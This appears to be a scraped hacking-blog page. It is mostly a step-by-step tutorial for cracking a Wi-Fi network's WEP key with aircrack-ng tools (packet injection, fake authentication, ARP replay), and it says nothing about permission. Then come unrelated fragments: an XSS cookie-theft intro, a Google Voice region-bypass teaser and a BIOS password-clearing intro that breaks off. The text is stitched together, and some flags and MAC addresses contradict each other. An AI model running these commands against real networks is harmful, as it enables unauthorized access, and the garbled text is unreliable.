To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.
Step 1 – Start the wireless interface in monitor mode on AP channel
airmon-ng start wlan1 6
starts wifi interface in channel 6
Step 2 – Test Wireless Device Packet Injection
aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E wlan1
-9 means injection
-a 00:1B:11:24:27:2E is the access point MAC address
Step 3 – Start airodump-ng to capture the IVs
airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1
Step 4 – Use aireplay-ng to do a fake authentication with the access point
In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.
aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
-1 means fake authentication
0 reassociation timing in seconds
-e infosec is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
OR
aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
2 – Reauthenticate every 2 seconds.
-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.
-q 10 – Send keep alive packets every 10 seconds.
Troubleshooting Tips
Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…
Run: tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”
You would then look for error messages.
If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…
Run: “tcpdump -n -e -s0 -vvv -i wlan1”
Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.
Step 5 – Start aireplay-ng in ARP request replay mode
aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
Step 6 – Run aircrack-ng to obtain the WEP key
aircrack-ng -b 00:1B:11:24:27:2E output*.cap
XSS Cross Site Scripting Attack
Previously I wrote about Remote File Inclusion vulnerability, However Ashik asked me to make another guest post on any topic related to Hacking as he was really busy, so I though to demonstrate another type of website hacking attack called Cross Site Scripting attack,a.k.a. XSS. XSS vulnerabilities occur due to weak coding of the web applications. Once the hacker finds this vulnerability he/she injects malicious codes(Usually in web forms) to steal session cookies and later the hacker uses those cookies to gain access to sensitive page content.
Most of you might have heard about Google Voice which provides great free VOIP service within USA. However, Google Voice is not free for people outside USA. When you try to visit Google Voice home page from anywhere but USA, it says that Google Voice is not available in your country. Today, we bring you a hack that will let you use Google Voice to send and receive free SMS anywhere in the world.
This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:
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